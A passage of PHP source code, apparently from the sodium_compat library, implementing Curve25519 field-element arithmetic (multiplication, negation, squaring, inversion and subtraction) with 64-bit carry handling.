$f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19) ->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19) ->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19); // $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h2 = $f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38) ->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19) ->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38); // $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h3 = $f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0) ->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19) ->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19); // $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h4 = $f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2) ->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19) ->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38); // $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h5 = $f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2) ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19) ->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19); // $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h6 = $f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2) ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0) ->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38); // $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h7 = $f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4) ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1) ->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19); // $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h8 = $f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2) ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2) ->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38); // $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $h9 = $f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6) ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3) ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 * @var ParagonIE_Sodium_Core32_Int64 $carry0 * @var ParagonIE_Sodium_Core32_Int64 $carry1 * @var ParagonIE_Sodium_Core32_Int64 $carry2 * @var ParagonIE_Sodium_Core32_Int64 $carry3 * @var ParagonIE_Sodium_Core32_Int64 $carry4 * @var ParagonIE_Sodium_Core32_Int64 $carry5 * @var ParagonIE_Sodium_Core32_Int64 $carry6 * @var ParagonIE_Sodium_Core32_Int64 $carry7 * @var ParagonIE_Sodium_Core32_Int64 $carry8 * @var ParagonIE_Sodium_Core32_Int64 $carry9 */ $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $h = new ParagonIE_Sodium_Core32_Curve25519_Fe(); for ($i = 0; $i < 10; ++$i) { $h[$i] = $h[$i]->subInt32($f[$i]); } return $h; } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $f0_2 = $f0->shiftLeft(1); $f1_2 = $f1->shiftLeft(1); $f2_2 = $f2->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f4_2 = $f4->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f6_2 = $f6->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f5_38 = $f5->mulInt(38, 6); $f6_19 = $f6->mulInt(19, 5); $f7_38 = $f7->mulInt(38, 6); $f8_19 = $f8->mulInt(19, 5); $f9_38 = $f9->mulInt(38, 6); $f0f0 = $f0->mulInt64($f0, 28); $f0f1_2 = $f0_2->mulInt64($f1, 28); $f0f2_2 = $f0_2->mulInt64($f2, 28); $f0f3_2 = $f0_2->mulInt64($f3, 28); $f0f4_2 = $f0_2->mulInt64($f4, 28); $f0f5_2 = $f0_2->mulInt64($f5, 28); $f0f6_2 = $f0_2->mulInt64($f6, 28); $f0f7_2 = $f0_2->mulInt64($f7, 28); $f0f8_2 = $f0_2->mulInt64($f8, 28); $f0f9_2 = $f0_2->mulInt64($f9, 28); $f1f1_2 = $f1_2->mulInt64($f1, 28); $f1f2_2 = $f1_2->mulInt64($f2, 28); $f1f3_4 = $f1_2->mulInt64($f3_2, 28); $f1f4_2 = $f1_2->mulInt64($f4, 28); $f1f5_4 = $f1_2->mulInt64($f5_2, 30); $f1f6_2 = $f1_2->mulInt64($f6, 28); $f1f7_4 = $f1_2->mulInt64($f7_2, 28); $f1f8_2 = $f1_2->mulInt64($f8, 28); $f1f9_76 = $f9_38->mulInt64($f1_2, 30); $f2f2 = $f2->mulInt64($f2, 28); $f2f3_2 = $f2_2->mulInt64($f3, 28); $f2f4_2 = $f2_2->mulInt64($f4, 28); $f2f5_2 = $f2_2->mulInt64($f5, 28); $f2f6_2 = $f2_2->mulInt64($f6, 28); $f2f7_2 = $f2_2->mulInt64($f7, 28); $f2f8_38 = $f8_19->mulInt64($f2_2, 30); $f2f9_38 = $f9_38->mulInt64($f2, 30); $f3f3_2 = $f3_2->mulInt64($f3, 28); $f3f4_2 = $f3_2->mulInt64($f4, 28); $f3f5_4 = $f3_2->mulInt64($f5_2, 30); $f3f6_2 = $f3_2->mulInt64($f6, 28); $f3f7_76 = $f7_38->mulInt64($f3_2, 30); $f3f8_38 = $f8_19->mulInt64($f3_2, 30); $f3f9_76 = $f9_38->mulInt64($f3_2, 30); $f4f4 = $f4->mulInt64($f4, 28); $f4f5_2 = $f4_2->mulInt64($f5, 28); $f4f6_38 = $f6_19->mulInt64($f4_2, 30); $f4f7_38 = $f7_38->mulInt64($f4, 30); $f4f8_38 = $f8_19->mulInt64($f4_2, 30); $f4f9_38 = $f9_38->mulInt64($f4, 30); $f5f5_38 = $f5_38->mulInt64($f5, 30); $f5f6_38 = $f6_19->mulInt64($f5_2, 30); $f5f7_76 = $f7_38->mulInt64($f5_2, 30); $f5f8_38 = $f8_19->mulInt64($f5_2, 30); $f5f9_76 = $f9_38->mulInt64($f5_2, 30); $f6f6_19 = $f6_19->mulInt64($f6, 30); $f6f7_38 = $f7_38->mulInt64($f6, 30); $f6f8_38 = $f8_19->mulInt64($f6_2, 30); $f6f9_38 = $f9_38->mulInt64($f6, 30); $f7f7_38 = $f7_38->mulInt64($f7, 28); $f7f8_38 = $f8_19->mulInt64($f7_2, 30); $f7f9_76 = $f9_38->mulInt64($f7_2, 30); $f8f8_19 = $f8_19->mulInt64($f8, 30); $f8f9_38 = $f9_38->mulInt64($f8, 30); $f9f9_38 = $f9_38->mulInt64($f9, 28); $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38); $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38); $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19); $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38); $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38); $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38); $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19); $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38); $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38); $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 */ $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $f0_2 = $f0->shiftLeft(1); $f1_2 = $f1->shiftLeft(1); $f2_2 = $f2->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f4_2 = $f4->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f6_2 = $f6->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */ $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */ $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */ $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */ $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */ $f0f0 = $f0->mulInt64($f0, 28); $f0f1_2 = $f0_2->mulInt64($f1, 28); $f0f2_2 = $f0_2->mulInt64($f2, 28); $f0f3_2 = $f0_2->mulInt64($f3, 28); $f0f4_2 = $f0_2->mulInt64($f4, 28); $f0f5_2 = $f0_2->mulInt64($f5, 28); $f0f6_2 = $f0_2->mulInt64($f6, 28); $f0f7_2 = $f0_2->mulInt64($f7, 28); $f0f8_2 = $f0_2->mulInt64($f8, 28); $f0f9_2 = $f0_2->mulInt64($f9, 28); $f1f1_2 = $f1_2->mulInt64($f1, 28); $f1f2_2 = $f1_2->mulInt64($f2, 28); $f1f3_4 = $f1_2->mulInt64($f3_2, 29); $f1f4_2 = $f1_2->mulInt64($f4, 28); $f1f5_4 = $f1_2->mulInt64($f5_2, 29); $f1f6_2 = $f1_2->mulInt64($f6, 28); $f1f7_4 = $f1_2->mulInt64($f7_2, 29); $f1f8_2 = $f1_2->mulInt64($f8, 28); $f1f9_76 = $f9_38->mulInt64($f1_2, 29); $f2f2 = $f2->mulInt64($f2, 28); $f2f3_2 = $f2_2->mulInt64($f3, 28); $f2f4_2 = $f2_2->mulInt64($f4, 28); $f2f5_2 = $f2_2->mulInt64($f5, 28); $f2f6_2 = $f2_2->mulInt64($f6, 28); $f2f7_2 = $f2_2->mulInt64($f7, 28); $f2f8_38 = $f8_19->mulInt64($f2_2, 29); $f2f9_38 = $f9_38->mulInt64($f2, 29); $f3f3_2 = $f3_2->mulInt64($f3, 28); $f3f4_2 = $f3_2->mulInt64($f4, 28); $f3f5_4 = $f3_2->mulInt64($f5_2, 28); $f3f6_2 = $f3_2->mulInt64($f6, 28); $f3f7_76 = $f7_38->mulInt64($f3_2, 29); $f3f8_38 = $f8_19->mulInt64($f3_2, 29); $f3f9_76 = $f9_38->mulInt64($f3_2, 29); $f4f4 = $f4->mulInt64($f4, 28); $f4f5_2 = $f4_2->mulInt64($f5, 28); $f4f6_38 = $f6_19->mulInt64($f4_2, 29); $f4f7_38 = $f7_38->mulInt64($f4, 29); $f4f8_38 = $f8_19->mulInt64($f4_2, 29); $f4f9_38 = $f9_38->mulInt64($f4, 29); $f5f5_38 = $f5_38->mulInt64($f5, 29); $f5f6_38 = $f6_19->mulInt64($f5_2, 29); $f5f7_76 = $f7_38->mulInt64($f5_2, 29); $f5f8_38 = $f8_19->mulInt64($f5_2, 29); $f5f9_76 = $f9_38->mulInt64($f5_2, 29); $f6f6_19 = $f6_19->mulInt64($f6, 29); $f6f7_38 = $f7_38->mulInt64($f6, 29); $f6f8_38 = $f8_19->mulInt64($f6_2, 29); $f6f9_38 = $f9_38->mulInt64($f6, 29); $f7f7_38 = $f7_38->mulInt64($f7, 29); $f7f8_38 = $f8_19->mulInt64($f7_2, 29); $f7f9_76 = $f9_38->mulInt64($f7_2, 29); $f8f8_19 = $f8_19->mulInt64($f8, 29); $f8f9_38 = $f9_38->mulInt64($f8, 29); $f9f9_38 = $f9_38->mulInt64($f9, 29); $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38); $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38); $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19); $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38); $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38); $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38); $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19); $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38); $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38); $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2); /** * @var ParagonIE_Sodium_Core32_Int64 $h0 * @var ParagonIE_Sodium_Core32_Int64 $h1 * @var ParagonIE_Sodium_Core32_Int64 $h2 * @var ParagonIE_Sodium_Core32_Int64 $h3 * @var ParagonIE_Sodium_Core32_Int64 $h4 * @var ParagonIE_Sodium_Core32_Int64 $h5 * @var ParagonIE_Sodium_Core32_Int64 $h6 * @var ParagonIE_Sodium_Core32_Int64 $h7 * @var ParagonIE_Sodium_Core32_Int64 $h8 * @var ParagonIE_Sodium_Core32_Int64 $h9 */ $h0 = $h0->shiftLeft(1); $h1 = $h1->shiftLeft(1); $h2 = $h2->shiftLeft(1); $h3 = $h3->shiftLeft(1); $h4 = $h4->shiftLeft(1); $h5 = $h5->shiftLeft(1); $h6 = $h6->shiftLeft(1); $h7 = $h7->shiftLeft(1); $h8 = $h8->shiftLeft(1); $h9 = $h9->shiftLeft(1); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt64($carry1); $h1 = $h1->subInt64($carry1->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt64($carry5); $h5 = $h5->subInt64($carry5->shiftLeft(25)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt64($carry2); $h2 = $h2->subInt64($carry2->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt64($carry6); $h6 = $h6->subInt64($carry6->shiftLeft(26)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt64($carry3); $h3 = $h3->subInt64($carry3->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt64($carry7); $h7 = $h7->subInt64($carry7->shiftLeft(25)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt64($carry4); $h4 = $h4->subInt64($carry4->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt64($carry8); $h8 = $h8->subInt64($carry8->shiftLeft(26)); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt64($carry9->mulInt(19, 5)); $h9 = $h9->subInt64($carry9->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt64($carry0); $h0 = $h0->subInt64($carry0->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $h0->toInt32(), $h1->toInt32(), $h2->toInt32(), $h3->toInt32(), $h4->toInt32(), $h5->toInt32(), $h6->toInt32(), $h7->toInt32(), $h8->toInt32(), $h9->toInt32() ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z) { # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall * @psalm-suppress MixedTypeCoercion */ public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g) { return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array( $f[0]->subInt32($g[0]), $f[1]->subInt32($g[1]), $f[2]->subInt32($g[2]), $f[3]->subInt32($g[3]), $f[4]->subInt32($g[4]), $f[5]->subInt32($g[5]), $f[6]->subInt32($g[6]), 